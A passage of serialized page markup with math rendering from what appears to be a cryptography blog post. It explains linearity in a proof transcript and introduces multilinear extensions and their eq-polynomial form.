71,"props":4093,"children":4095},{"className":4094},[1177],[4096],{"type":30,"value":1180},{"type":25,"tag":271,"props":4098,"children":4100},{"className":4099},[992],[4101],{"type":25,"tag":271,"props":4102,"children":4104},{"className":4103,"style":2792},[997],[4105],{"type":25,"tag":271,"props":4106,"children":4107},{},[],{"type":25,"tag":271,"props":4109,"children":4111},{"className":4110,"style":2066},[337],[],{"type":25,"tag":271,"props":4113,"children":4115},{"className":4114},[2071],[4116],{"type":30,"value":3585},{"type":25,"tag":271,"props":4118,"children":4120},{"className":4119,"style":2066},[337],[],{"type":25,"tag":271,"props":4122,"children":4124},{"className":4123},[285],[4125,4129],{"type":25,"tag":271,"props":4126,"children":4128},{"className":4127,"style":2287},[290],[],{"type":25,"tag":271,"props":4130,"children":4132},{"className":4131},[296],[4133,4138],{"type":25,"tag":271,"props":4134,"children":4136},{"className":4135,"style":2296},[296,297],[4137],{"type":30,"value":2299},{"type":25,"tag":271,"props":4139,"children":4141},{"className":4140},[982],[4142],{"type":25,"tag":271,"props":4143,"children":4145},{"className":4144},[987,1100],[4146,4175],{"type":25,"tag":271,"props":4147,"children":4149},{"className":4148},[992],[4150,4170],{"type":25,"tag":271,"props":4151,"children":4153},{"className":4152,"style":1918},[997],[4154],{"type":25,"tag":271,"props":4155,"children":4156},{"style":2318},[4157,4161],{"type":25,"tag":271,"props":4158,"children":4160},{"className":4159,"style":1008},[1007],[],{"type":25,"tag":271,"props":4162,"children":4164},{"className":4163},[1013,1014,1015,1016],[4165],{"type":25,"tag":271,"props":4166,"children":4168},{"className":4167},[296,297,1016],[4169],{"type":30,"value":1937},{"type":25,"tag":271,"props":4171,"children":4173},{"className":4172},[1177],[4174],{"type":30,"value":1180},{"type":25,"tag":271,"props":4176,"children":4178},{"className":4177},[992],[4179],{"type":25,"tag":271,"props":4180,"children":4182},{"className":4181,"style":1619},[997],[4183],{"type":25,"tag":271,"props":4184,"children":4185},{},[],{"type":25,"tag":26,"props":4187,"children":4188},{},[4189,4191,4287,4289,4314,4316,4341],{"type":30,"value":4190},"This is ",{"type":25,"tag":38,"props":4192,"children":4193},{},[4194,4196],{"type":30,"value":4195},"linear in ",{"type":25,"tag":264,"props":4197,"children":4199},{"className":4198},[267,268],[4200],{"type":25,"tag":271,"props":4201,"children":4203},{"className":4202},[274],[4204],{"type":25,"tag":271,"props":4205,"children":4207},{"className":4206,"ariaHidden":280},[279],[4208],{"type":25,"tag":271,"props":4209,"children":4211},{"className":4210},[285],[4212,4216],{"type":25,"tag":271,"props":4213,"children":4215},{"className":4214,"style":2721},[290],[],{"type":25,"tag":271,"props":4217,"children":4219},{"className":4218},[296],[4220,4225],{"type":25,"tag":271,"props":4221,"children":4223},{"className":4222,"style":1052},[296,297],[4224],{"type":30,"value":1055},{"type":25,"tag":271,"props":4226,"children":4228},{"className":4227},[982],[4229],{"type":25,"tag":271,"props":4230,"children":4232},{"className":4231},[987,1100],[4233,4276],{"type":25,"tag":271,"props":4234,"children":4236},{"className":4235},[992],[4237,4271],{"type":25,"tag":271,"props":4238,"children":4240},{"className":4239,"style":1918},[997],[4241],{"type":25,"tag":271,"props":4242,"children":4243},{"style":2750},[4244,4248],{"type":25,"tag":271,"props":4245,"children":4247},{"className":4246,"style":1008},[1007],[],{"type":25,"tag":271,"props":4249,"children":4251},{"className":4250},[1013,1014,1015,1016],[4252],{"type":25,"tag":271,"props":4253,"children":4255},{"className":4254},[296,1016],[4256,4261,4266],{"type":25,"tag":271,"props":4257,"children":4259},{"className":4258},[296,297,1016],[4260],{"type":30,"value":1937},{"type":25,"tag":271,"props":4262,"children":4264},{"className":4263},[2071,1016],[4265],{"type":30,"value":2774},{"type":25,"tag":271,"props":4267,"children":4269},{"className":4268},[296,1016],[4270],{"type":30,"value":968},{"type":25,"tag":271,"props":4272,"children":4274},{"className":4273},[1177],[4275],{"type":30,"value":1180},{"type":25,"tag":271,"props":4277,"children":4279},{"className":4278},[992],[4280],{"type":25,"tag":271,"props":4281,"children":4283},{"className":4282,"style":2792},[997],[4284],{"type":25,"tag":271,"props":4285,"children":4286},{},[],{"type":30,"value":4288},"! By induction, the final claim is linear in the original ",{"type":25,"tag":264,"props":4290,"children":4292},{"className":4291},[267,268],[4293],{"type":25,"tag":271,"props":4294,"children":4296},{"className":4295},[274],[4297],{"type":25,"tag":271,"props":4298,"children":4300},{"className":4299,"ariaHidden":280},[279],[4301],{"type":25,"tag":271,"props":4302,"children":4304},{"className":4303},[285],[4305,4309],{"type":25,"tag":271,"props":4306,"children":4308},{"className":4307,"style":291},[290],[],{"type":25,"tag":271,"props":4310,"children":4312},{"className":4311,"style":1052},[296,297],[4313],{"type":30,"value":1055},{"type":30,"value":4315},". If ",{"type":25,"tag":264,"props":4317,"children":4319},{"className":4318},[267,268],[4320],{"type":25,"tag":271,"props":4321,"children":4323},{"className":4322},[274],[4324],{"type":25,"tag":271,"props":4325,"children":4327},{"className":4326,"ariaHidden":280},[279],[4328],{"type":25,"tag":271,"props":4329,"children":4331},{"className":4330},[285],[4332,4336],{"type":25,"tag":271,"props":4333,"children":4335},{"className":4334,"style":291},[290],[],{"type":25,"tag":271,"props":4337,"children":4339},{"className":4338,"style":1052},[296,297],[4340],{"type":30,"value":1055},{"type":30,"value":4342}," isn't in the transcript, we can solve for it.",{"type":25,"tag":247,"props":4344,"children":4346},{"id":4345},"multilinear-extensions-mles",[4347],{"type":30,"value":4348},"Multilinear Extensions (MLEs)",{"type":25,"tag":26,"props":4350,"children":4351},{},[4352,4354,4439],{"type":30,"value":4353},"An MLE is just the polynomial view of a table over ",{"type":25,"tag":264,"props":4355,"children":4357},{"className":4356},[267,268],[4358],{"type":25,"tag":271,"props":4359,"children":4361},{"className":4360},[274],[4362],{"type":25,"tag":271,"props":4363,"children":4365},{"className":4364,"ariaHidden":280},[279],[4366],{"type":25,"tag":271,"props":4367,"children":4369},{"className":4368},[285],[4370,4374,4379,4384,4389,4393,4398],{"type":25,"tag":271,"props":4371,"children":4373},{"className":4372,"style":375},[290],[],{"type":25,"tag":271,"props":4375,"children":4377},{"className":4376},[391],[4378],{"type":30,"value":947},{"type":25,"tag":271,"props":4380,"children":4382},{"className":4381},[296],[4383],{"type":30,"value":953},{"type":25,"tag":271,"props":4385,"children":4387},{"className":4386},[404],[4388],{"type":30,"value":407},{"type":25,"tag":271,"props":4390,"children":4392},{"className":4391,"style":411},[337],[],{"type":25,"tag":271,"props":4394,"children":4396},{"className":4395},[296],[4397],{"type":30,"value":968},{"type":25,"tag":271,"props":4399,"children":4401},{"className":4400},[437],[4402,4407],{"type":25,"tag":271,"props":4403,"children":4405},{"className":4404},[437],[4406],{"type":30,"value":978},{"type":25,"tag":271,"props":4408,"children":4410},{"className":4409},[982],[4411],{"type":25,"tag":271,"props":4412,"children":4414},{"className":4413},[987],[4415],{"type":25,"tag":271,"props":4416,"children":4418},{"className":4417},[992],[4419],{"type":25,"tag":271,"props":4420,"children":4422},{"className":4421,"style":998},[997],[4423],{"type":25,"tag":271,"props":4424,"children":4425},{"style":1002},[4426,4430],{"type":25,"tag":271,"props":4427,"children":4429},{"className":4428,"style":1008},[1007],[],{"type":25,"tag":271,"props":4431,"children":4433},{"className":4432},[1013,1014,1015,1016],[4434],{"type":25,"tag":271,"props":4435,"children":4437},{"className":4436},[296,297,1016],[4438],{"type":30,"value":1023},{"type":30,"value":4440},": it matches the table on Boolean points and extends it to field points.",{"type":25,"tag":26,"props":4442,"children":4443},{},[4444],{"type":30,"value":4445},"For this post, the only property you need is:",{"type":25,"tag":26,"props":4447,"children":4448},{},[4449],{"type":25,"tag":264,"props":4450,"children":4452},{"className":4451},[267,268],[4453],{"type":25,"tag":271,"props":4454,"children":4456},{"className":4455},[274],[4457],{"type":25,"tag":271,"props":4458,"children":4460},{"className":4459,"ariaHidden":280},[279],[4461,4626,4898],{"type":25,"tag":271,"props":4462,"children":4464},{"className":4463},[285],[4465,4470,4541,4546,4608,4613,4617,4622],{"type":25,"tag":271,"props":4466,"children":4469},{"className":4467,"style":4468},[290],"height:1.1813em;vertical-align:-0.25em;",[],{"type":25,"tag":271,"props":4471,"children":4474},{"className":4472},[296,4473],"accent",[4475],{"type":25,"tag":271,"props":4476,"children":4478},{"className":4477},[987,1100],[4479,4529],{"type":25,"tag":271,"props":4480,"children":4482},{"className":4481},[992],[4483,4524],{"type":25,"tag":271,"props":4484,"children":4487},{"className":4485,"style":4486},[997],"height:0.9313em;",[4488,4504],{"type":25,"tag":271,"props":4489,"children":4491},{"style":4490},"top:-3em;",[4492,4497],{"type":25,"tag":271,"props":4493,"children":4496},{"className":4494,"style":4495},[1007],"height:3em;",[],{"type":25,"tag":271,"props":4498,"children":4501},{"className":4499,"style":4500},[296,297],"margin-right:0.10764em;",[4502],{"type":30,"value":4503},"f",{"type":25,"tag":271,"props":4505,"children":4507},{"style":4506},"top:-3.6134em;",[4508,4512],{"type":25,"tag":271,"props":4509,"children":4511},{"className":4510,"style":4495},[1007],[],{"type":25,"tag":271,"props":4513,"children":4517},{"className":4514,"style":4516},[4515],"accent-body","left:-0.0833em;",[4518],{"type":25,"tag":271,"props":4519,"children":4521},{"className":4520},[296],[4522],{"type":30,"value":4523},"~",{"type":25,"tag":271,"props":4525,"children":4527},{"className":4526},[1177],[4528],{"type":30,"value":1180},{"type":25,"tag":271,"props":4530,"children":4532},{"className":4531},[992],[4533],{"type":25,"tag":271,"props":4534,"children":4537},{"className":4535,"style":4536},[997],"height:0.1944em;",[4538],{"type":25,"tag":271,"props":4539,"children":4540},{},[],{"type":25,"tag":271,"props":4542,"children":4544},{"className":4543},[391],[4545],{"type":30,"value":394},{"type":25,"tag":271,"props":4547,"children":4549},{"className":4548},[296,4473],[4550],{"type":25,"tag":271,"props":4551,"children":4553},{"className":4552},[987],[4554],{"type":25,"tag":271,"props":4555,"children":4557},{"className":4556},[992],[4558],{"type":25,"tag":271,"props":4559,"children":4562},{"className":4560,"style":4561},[997],"height:0.714em;",[4563,4575],{"type":25,"tag":271,"props":4564,"children":4565},{"style":4490},[4566,4570],{"type":25,"tag":271,"props":4567,"children":4569},{"className":4568,"style":4495},[1007],[],{"type":25,"tag":271,"props":4571,"children":4573},{"className":4572,"style":2296},[296,297],[4574],{"type":30,"value":2299},{"type":25,"tag":271,"props":4576,"children":4577},{"style":4490},[4578,4582],{"type":25,"tag":271,"props":4579,"children":4581},{"className":4580,"style":4495},[1007],[],{"type":25,"tag":271,"props":4583,"children":4586},{"className":4584,"style":4585},[4515],"left:-0.1799em;",[4587],{"type":25,"tag":271,"props":4588,"children":4592},{"className":4589,"style":4591},[4590],"overlay","height:0.714em;width:0.471em;",[4593],{"type":25,"tag":4594,"props":4595,"children":4602},"svg",{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[4603],{"type":25,"tag":4604,"props":4605,"children":4607},"path",{"d":4606},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":25,"tag":271,"props":4609,"children":4611},{"className":4610},[437],[4612],{"type":30,"value":440},{"type":25,"tag":271,"props":4614,"children":4616},{"className":4615,"style":338},[337],[],{"type":25,"tag":271,"props":4618,"children":4620},{"className":4619},[356],[4621],{"type":30,"value":1065},{"type":25,"tag":271,"props":4623,"children":4625},{"className":4624,"style":338},[337],[],{"type":25,"tag":271,"props":4627,"children":4629},{"className":4628},[285],[4630,4635,4816,4820,4825,4830,4880,4885,4889,4894],{"type":25,"tag":271,"props":4631,"children":4634},{"className":4632,"style":4633},[290],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":25,"tag":271,"props":4636,"children":4638},{"className":4637},[1082],[4639,4644],{"type":25,"tag":271,"props":4640,"children":4642},{"className":4641,"style":1089},[1082,1087,1088],[4643],{"type":30,"value":1092},{"type":25,"tag":271,"props":4645,"children":4647},{"className":4646},[982],[4648],{"type":25,"tag":271,"props":4649,"children":4651},{"className":4650},[987,1100],[4652,4804],{"type":25,"tag":271,"props":4653,"children":4655},{"className":4654},[992],[4656,4799],{"type":25,"tag":271,"props":4657,"children":4660},{"className":4658,"style":4659},[997],"height:0.3448em;",[4661],{"type":25,"tag":271,"props":4662,"children":4664},{"style":4663},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[4665,4669],{"type":25,"tag":271,"props":4666,"children":4668},{"className":4667,"style":1008},[1007],[],{"type":25,"tag":271,"props":4670,"children":4672},{"className":4671},[1013,1014,1015,1016],[4673],{"type":25,"tag":271,"props":4674,"children":4676},{"className":4675},[296,1016],[4677,4731,4736,4741,4746,4751,4756],{"type":25,"tag":271,"props":4678,"children":4680},{"className":4679},[296,4473,1016],[4681],{"type":25,"tag":271,"props":4682,"children":4684},{"className":4683},[987],[4685],{"type":25,"tag":271,"props":4686,"children":4688},{"className":4687},[992],[4689],{"type":25,"tag":271,"props":4690,"children":4693},{"className":4691,"style":4692},[997],"height:0.9774em;",[4694,4708],{"type":25,"tag":271,"props":4695,"children":4697},{"style":4696},"top:-2.714em;",[4698,4703],{"type":25,"tag":271,"props":4699,"children":4702},{"className":4700,"style":4701},[1007],"height:2.714em;",[],{"type":25,"tag":271,"props":4704,"children":4706},{"className":4705},[296,297,1016],[4707],{"type":30,"value":2508},{"type":25,"tag":271,"props":4709,"children":4711},{"style":4710},"top:-2.9774em;",[4712,4716],{"type":25,"tag":271,"props":4713,"children":4715},{"className":4714,"style":4701},[1007],[],{"type":25,"tag":271,"props":4717,"children":4720},{"className":4718,"style":4719},[4515],"left:-0.2355em;",[4721],{"type":25,"tag":271,"props":4722,"children":4724},{"className":4723,"style":4591},[4590,1016],[4725],{"type":25,"tag":4594,"props":4726,"children":4727},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[4728],{"type":25,"tag":4604,"props":4729,"children":4730},{"d":4606},[],{"type":25,"tag":271,"props":4732,"children":4734},{"className":4733},[356,1016],[4735],{"type":30,"value":1198},{"type":25,"tag":271,"props":4737,"children":4739},{"className":4738},[391,1016],[4740],{"type":30,"value":947},{"type":25,"tag":271,"props":4742,"children":4744},{"className":4743},[296,1016],[4745],{"type":30,"value":953},{"type":25,"tag":271,"props":4747,"children":4749},{"className":4748},[404,1016],[4750],{"type":30,"value":407},{"type":25,"tag":271,"props":4752,"children":4754},{"className":4753},[296,1016],[4755],{"type":30,"value":968},{"type":25,"tag":271,"props":4757,"children":4759},{"className":4758},[437,1016],[4760,4765],{"type":25,"tag":271,"props":4761,"children":4763},{"className":4762},[437,1016],[4764],{"type":30,"value":978},{"type":25,"tag":271,"props":4766,"children":4768},{"className":4767},[982],[4769],{"type":25,"tag":271,"props":4770,"children":4772},{"className":4771},[987],[4773],{"type":25,"tag":271,"props":4774,"children":4776},{"className":4775},[992],[4777],{"type":25,"tag":271,"props":4778,"children":4781},{"className":4779,"style":4780},[997],"height:0.5935em;",[4782],{"type":25,"tag":271,"props":4783,"children":4785},{"style":4784},"top:-2.786em;margin-right:0.0714em;",[4786,4790],{"type":25,"tag":271,"props":4787,"children":4789},{"className":4788,"style":1161},[1007],[],{"type":25,"tag":271,"props":4791,"children":4793},{"className":4792},[1013,1166,1167,1016],[4794],{"type":25,"tag":271,"props":4795,"children":4797},{"className":4796},[296,297,1016],[4798],{"type":30,"value":1023},{"type":25,"tag":271,"props":4800,"children":4802},{"className":4801},[1177],[4803],{"type":30,"value":1180},{"type":25,"tag":271,"props":4805,"children":4807},{"className":4806},[992],[4808],{"type":25,"tag":271,"props":4809,"children":4812},{"className":4810,"style":4811},[997],"height:0.5144em;",[4813],{"type":25,"tag":271,"props":4814,"children":4815},{},[],{"type":25,"tag":271,"props":4817,"children":4819},{"className":4818,"style":411},[337],[],{"type":25,"tag":271,"props":4821,"children":4823},{"className":4822,"style":4500},[296,297],[4824],{"type":30,"value":4503},{"type":25,"tag":271,"props":4826,"children":4828},{"className":4827},[391],[4829],{"type":30,"value":394},{"type":25,"tag":271,"props":4831,"children":4833},{"className":4832},[296,4473],[4834],{"type":25,"tag":271,"props":4835,"children":4837},{"className":4836},[987],[4838],{"type":25,"tag":271,"props":4839,"children":4841},{"className":4840},[992],[4842],{"type":25,"tag":271,"props":4843,"children":4845},{"className":4844,"style":4692},[997],[4846,4858],{"type":25,"tag":271,"props":4847,"children":4848},{"style":4490},[4849,4853],{"type":25,"tag":271,"props":4850,"children":4852},{"className":4851,"style":4495},[1007],[],{"type":25,"tag":271,"props":4854,"children":4856},{"className":4855},[296,297],[4857],{"type":30,"value":2508},{"type":25,"tag":271,"props":4859,"children":4861},{"style":4860},"top:-3.2634em;",[4862,4866],{"type":25,"tag":271,"props":4863,"children":4865},{"className":4864,"style":4495},[1007],[],{"type":25,"tag":271,"props":4867,"children":4869},{"className":4868,"style":4719},[4515],[4870],{"type":25,"tag":271,"props":4871,"children":4873},{"className":4872,"style":4591},[4590],[4874],{"type":25,"tag":4594,"props":4875,"children":4876},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[4877],{"type":25,"tag":4604,"props":4878,"children":4879},{"d":4606},[],{"type":25,"tag":271,"props":4881,"children":4883},{"className":4882},[437],[4884],{"type":30,"value":440},{"type":25,"tag":271,"props":4886,"children":4888},{"className":4887,"style":2066},[337],[],{"type":25,"tag":271,"props":4890,"children":4892},{"className":4891},[2071],[4893],{"type":30,"value":3585},{"type":25,"tag":271,"props":4895,"children":4897},{"className":4896,"style":2066},[337],[],{"type":25,"tag":271,"props":4899,"children":4901},{"className":4900},[285],[4902,4907,4917,4922,4971,4976,4980,5029],{"type":25,"tag":271,"props":4903,"children":4906},{"className":4904,"style":4905},[290],"height:1.2274em;vertical-align:-0.25em;",[],{"type":25,"tag":271,"props":4908,"children":4910},{"className":4909},[296,30],[4911],{"type":25,"tag":271,"props":4912,"children":4914},{"className":4913},[296],[4915],{"type":30,"value":4916},"eq",{"type":25,"tag":271,"props":4918,"children":4920},{"className":4919},[391],[4921],{"type":30,"value":394},{"type":25,"tag":271,"props":4923,"children":4925},{"className":4924},[296,4473],[4926],{"type":25,"tag":271,"props":4927,"children":4929},{"className":4928},[987],[4930],{"type":25,"tag":271,"props":4931,"children":4933},{"className":4932},[992],[4934],{"type":25,"tag":271,"props":4935,"children":4937},{"className":4936,"style":4692},[997],[4938,4950],{"type":25,"tag":271,"props":4939,"children":4940},{"style":4490},[4941,4945],{"type":25,"tag":271,"props":4942,"children":4944},{"className":4943,"style":4495},[1007],[],{"type":25,"tag":271,"props":4946,"children":4948},{"className":4947},[296,297],[4949],{"type":30,"value":2508},{"type":25,"tag":271,"props":4951,"children":4952},{"style":4860},[4953,4957],{"type":25,"tag":271,"props":4954,"children":4956},{"className":4955,"style":4495},[1007],[],{"type":25,"tag":271,"props":4958,"children":4960},{"className":4959,"style":4719},[4515],[4961],{"type":25,"tag":271,"props":4962,"children":4964},{"className":4963,"style":4591},[4590],[4965],{"type":25,"tag":4594,"props":4966,"children":4967},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[4968],{"type":25,"tag":4604,"props":4969,"children":4970},{"d":4606},[],{"type":25,"tag":271,"props":4972,"children":4974},{"className":4973},[404],[4975],{"type":30,"value":407},{"type":25,"tag":271,"props":4977,"children":4979},{"className":4978,"style":411},[337],[],{"type":25,"tag":271,"props":4981,"children":4983},{"className":4982},[296,4473],[4984],{"type":25,"tag":271,"props":4985,"children":4987},{"className":4986},[987],[4988],{"type":25,"tag":271,"props":4989,"children":4991},{"className":4990},[992],[4992],{"type":25,"tag":271,"props":4993,"children":4995},{"className":4994,"style":4561},[997],[4996,5008],{"type":25,"tag":271,"props":4997,"children":4998},{"style":4490},[4999,5003],{"type":25,"tag":271,"props":5000,"children":5002},{"className":5001,"style":4495},[1007],[],{"type":25,"tag":271,"props":5004,"children":5006},{"className":5005,"style":2296},[296,297],[5007],{"type":30,"value":2299},{"type":25,"tag":271,"props":5009,"children":5010},{"style":4490},[5011,5015],{"type":25,"tag":271,"props":5012,"children":5014},{"className":5013,"style":4495},[1007],[],{"type":25,"tag":271,"props":5016,"children":5018},{"className":5017,"style":4585},[4515],[5019],{"type":25,"tag":271,"props":5020,"children":5022},{"className":5021,"style":4591},[4590],[5023],{"type":25,"tag":4594,"props":5024,"children":5025},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5026],{"type":25,"tag":4604,"props":5027,"children":5028},{"d":4606},[],{"type":25,"tag":271,"props":5030,"children":5032},{"className":5031},[437],[5033],{"type":30,"value":440},{"type":25,"tag":26,"props":5035,"children":5036},{},[5037,5039,5108,5110,5256,5258,5397,5399,5483],{"type":30,"value":5038},"At a fixed challenge point ",{"type":25,"tag":264,"props":5040,"children":5042},{"className":5041},[267,268],[5043],{"type":25,"tag":271,"props":5044,"children":5046},{"className":5045},[274],[5047],{"type":25,"tag":271,"props":5048,"children":5050},{"className":5049,"ariaHidden":280},[279],[5051],{"type":25,"tag":271,"props":5052,"children":5054},{"className":5053},[285],[5055,5059],{"type":25,"tag":271,"props":5056,"children":5058},{"className":5057,"style":4561},[290],[],{"type":25,"tag":271,"props":5060,"children":5062},{"className":5061},[296,4473],[5063],{"type":25,"tag":271,"props":5064,"children":5066},{"className":5065},[987],[5067],{"type":25,"tag":271,"props":5068,"children":5070},{"className":5069},[992],[5071],{"type":25,"tag":271,"props":5072,"children":5074},{"className":5073,"style":4561},[997],[5075,5087],{"type":25,"tag":271,"props":5076,"children":5077},{"style":4490},[5078,5082],{"type":25,"tag":271,"props":5079,"children":5081},{"className":5080,"style":4495},[1007],[],{"type":25,"tag":271,"props":5083,"children":5085},{"className":5084,"style":2296},[296,297],[5086],{"type":30,"value":2299},{"type":25,"tag":271,"props":5088,"children":5089},{"style":4490},[5090,5094],{"type":25,"tag":271,"props":5091,"children":5093},{"className":5092,"style":4495},[1007],[],{"type":25,"tag":271,"props":5095,"children":5097},{"className":5096,"style":4585},[4515],[5098],{"type":25,"tag":271,"props":5099,"children":5101},{"className":5100,"style":4591},[4590],[5102],{"type":25,"tag":4594,"props":5103,"children":5104},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5105],{"type":25,"tag":4604,"props":5106,"children":5107},{"d":4606},[],{"type":30,"value":5109},", the coefficients ",{"type":25,"tag":264,"props":5111,"children":5113},{"className":5112},[267,268],[5114],{"type":25,"tag":271,"props":5115,"children":5117},{"className":5116},[274],[5118],{"type":25,"tag":271,"props":5119,"children":5121},{"className":5120,"ariaHidden":280},[279],[5122],{"type":25,"tag":271,"props":5123,"children":5125},{"className":5124},[285],[5126,5130,5139,5144,5193,5198,5202,5251],{"type":25,"tag":271,"props":5127,"children":5129},{"className":5128,"style":4905},[290],[],{"type":25,"tag":271,"props":5131,"children":5133},{"className":5132},[296,30],[5134],{"type":25,"tag":271,"props":5135,"children":5137},{"className":5136},[296],[5138],{"type":30,"value":4916},{"type":25,"tag":271,"props":5140,"children":5142},{"className":5141},[391],[5143],{"type":30,"value":394},{"type":25,"tag":271,"props":5145,"children":5147},{"className":5146},[296,4473],[5148],{"type":25,"tag":271,"props":5149,"children":5151},{"className":5150},[987],[5152],{"type":25,"tag":271,"props":5153,"children":5155},{"className":5154},[992],[5156],{"type":25,"tag":271,"props":5157,"children":5159},{"className":5158,"style":4692},[997],[5160,5172],{"type":25,"tag":271,"props":5161,"children":5162},{"style":4490},[5163,5167],{"type":25,"tag":271,"props":5164,"children":5166},{"className":5165,"style":4495},[1007],[],{"type":25,"tag":271,"props":5168,"children":5170},{"className":5169},[296,297],[5171],{"type":30,"value":2508},{"type":25,"tag":271,"props":5173,"children":5174},{"style":4860},[5175,5179],{"type":25,"tag":271,"props":5176,"children":5178},{"className":5177,"style":4495},[1007],[],{"type":25,"tag":271,"props":5180,"children":5182},{"className":5181,"style":4719},[4515],[5183],{"type":25,"tag":271,"props":5184,"children":5186},{"className":5185,"style":4591},[4590],[5187],{"type":25,"tag":4594,"props":5188,"children":5189},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5190],{"type":25,"tag":4604,"props":5191,"children":5192},{"d":4606},[],{"type":25,"tag":271,"props":5194,"children":5196},{"className":5195},[404],[5197],{"type":30,"value":407},{"type":25,"tag":271,"props":5199,"children":5201},{"className":5200,"style":411},[337],[],{"type":25,"tag":271,"props":5203,"children":5205},{"className":5204},[296,4473],[5206],{"type":25,"tag":271,"props":5207,"children":5209},{"className":5208},[987],[5210],{"type":25,"tag":271,"props":5211,"children":5213},{"className":5212},[992],[5214],{"type":25,"tag":271,"props":5215,"children":5217},{"className":5216,"style":4561},[997],[5218,5230],{"type":25,"tag":271,"props":5219,"children":5220},{"style":4490},[5221,5225],{"type":25,"tag":271,"props":5222,"children":5224},{"className":5223,"style":4495},[1007],[],{"type":25,"tag":271,"props":5226,"children":5228},{"className":5227,"style":2296},[296,297],[5229],{"type":30,"value":2299},{"type":25,"tag":271,"props":5231,"children":5232},{"style":4490},[5233,5237],{"type":25,"tag":271,"props":5234,"children":5236},{"className":5235,"style":4495},[1007],[],{"type":25,"tag":271,"props":5238,"children":5240},{"className":5239,"style":4585},[4515],[5241],{"type":25,"tag":271,"props":5242,"children":5244},{"className":5243,"style":4591},[4590],[5245],{"type":25,"tag":4594,"props":5246,"children":5247},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5248],{"type":25,"tag":4604,"props":5249,"children":5250},{"d":4606},[],{"type":25,"tag":271,"props":5252,"children":5254},{"className":5253},[437],[5255],{"type":30,"value":440},{"type":30,"value":5257}," are constants, so ",{"type":25,"tag":264,"props":5259,"children":5261},{"className":5260},[267,268],[5262],{"type":25,"tag":271,"props":5263,"children":5265},{"className":5264},[274],[5266],{"type":25,"tag":271,"props":5267,"children":5269},{"className":5268,"ariaHidden":280},[279],[5270],{"type":25,"tag":271,"props":5271,"children":5273},{"className":5272},[285],[5274,5278,5338,5343,5392],{"type":25,"tag":271,"props":5275,"children":5277},{"className":5276,"style":4468},[290],[],{"type":25,"tag":271,"props":5279,"children":5281},{"className":5280},[296,4473],[5282],{"type":25,"tag":271,"props":5283,"children":5285},{"className":5284},[987,1100],[5286,5327],{"type":25,"tag":271,"props":5287,"children":5289},{"className":5288},[992],[5290,5322],{"type":25,"tag":271,"props":5291,"children":5293},{"className":5292,"style":4486},[997],[5294,5306],{"type":25,"tag":271,"props":5295,"children":5296},{"style":4490},[5297,5301],{"type":25,"tag":271,"props":5298,"children":5300},{"className":5299,"style":4495},[1007],[],{"type":25,"tag":271,"props":5302,"children":5304},{"className":5303,"style":4500},[296,297],[5305],{"type":30,"value":4503},{"type":25,"tag":271,"props":5307,"children":5308},{"style":4506},[5309,5313],{"type":25,"tag":271,"props":5310,"children":5312},{"className":5311,"style":4495},[1007],[],{"type":25,"tag":271,"props":5314,"children":5316},{"className":5315,"style":4516},[4515],[5317],{"type":25,"tag":271,"props":5318,"children":5320},{"className":5319},[296],[5321],{"type":30,"value":4523},{"type":25,"tag":271,"props":5323,"children":5325},{"className":5324},[1177],[5326],{"type":30,"value":1180},{"type":25,"tag":271,"props":5328,"children":5330},{"className":5329},[992],[5331],{"type":25,"tag":271,"props":5332,"children":5334},{"className":5333,"style":4536},[997],[5335],{"type":25,"tag":271,"props":5336,"children":5337},{},[],{"type":25,"tag":271,"props":5339,"children":5341},{"className":5340},[391],[5342],{"type":30,"value":394},{"type":25,"tag":271,"props":5344,"children":5346},{"className":5345},[296,4473],[5347],{"type":25,"tag":271,"props":5348,"children":5350},{"className":5349},[987],[5351],{"type":25,"tag":271,"props":5352,"children":5354},{"className":5353},[992],[5355],{"type":25,"tag":271,"props":5356,"children":5358},{"className":5357,"style":4561},[997],[5359,5371],{"type":25,"tag":271,"props":5360,"children":5361},{"style":4490},[5362,5366],{"type":25,"tag":271,"props":5363,"children":5365},{"className":5364,"style":4495},[1007],[],{"type":25,"tag":271,"props":5367,"children":5369},{"className":5368,"style":2296},[296,297],[5370],{"type":30,"value":2299},{"type":25,"tag":271,"props":5372,"children":5373},{"style":4490},[5374,5378],{"type":25,"tag":271,"props":5375,"children":5377},{"className":5376,"style":4495},[1007],[],{"type":25,"tag":271,"props":5379,"children":5381},{"className":5380,"style":4585},[4515],[5382],{"type":25,"tag":271,"props":5383,"children":5385},{"className":5384,"style":4591},[4590],[5386],{"type":25,"tag":4594,"props":5387,"children":5388},{"xmlns":4596,"width":4597,"height":4598,"style":4599,"viewBox":4600,"preserveAspectRatio":4601},[5389],{"type":25,"tag":4604,"props":5390,"children":5391},{"d":4606},[],{"type":25,"tag":271,"props":5393,"children":5395},{"className":5394},[437],[5396],{"type":30,"value":440},{"type":30,"value":5398}," is linear in the table values 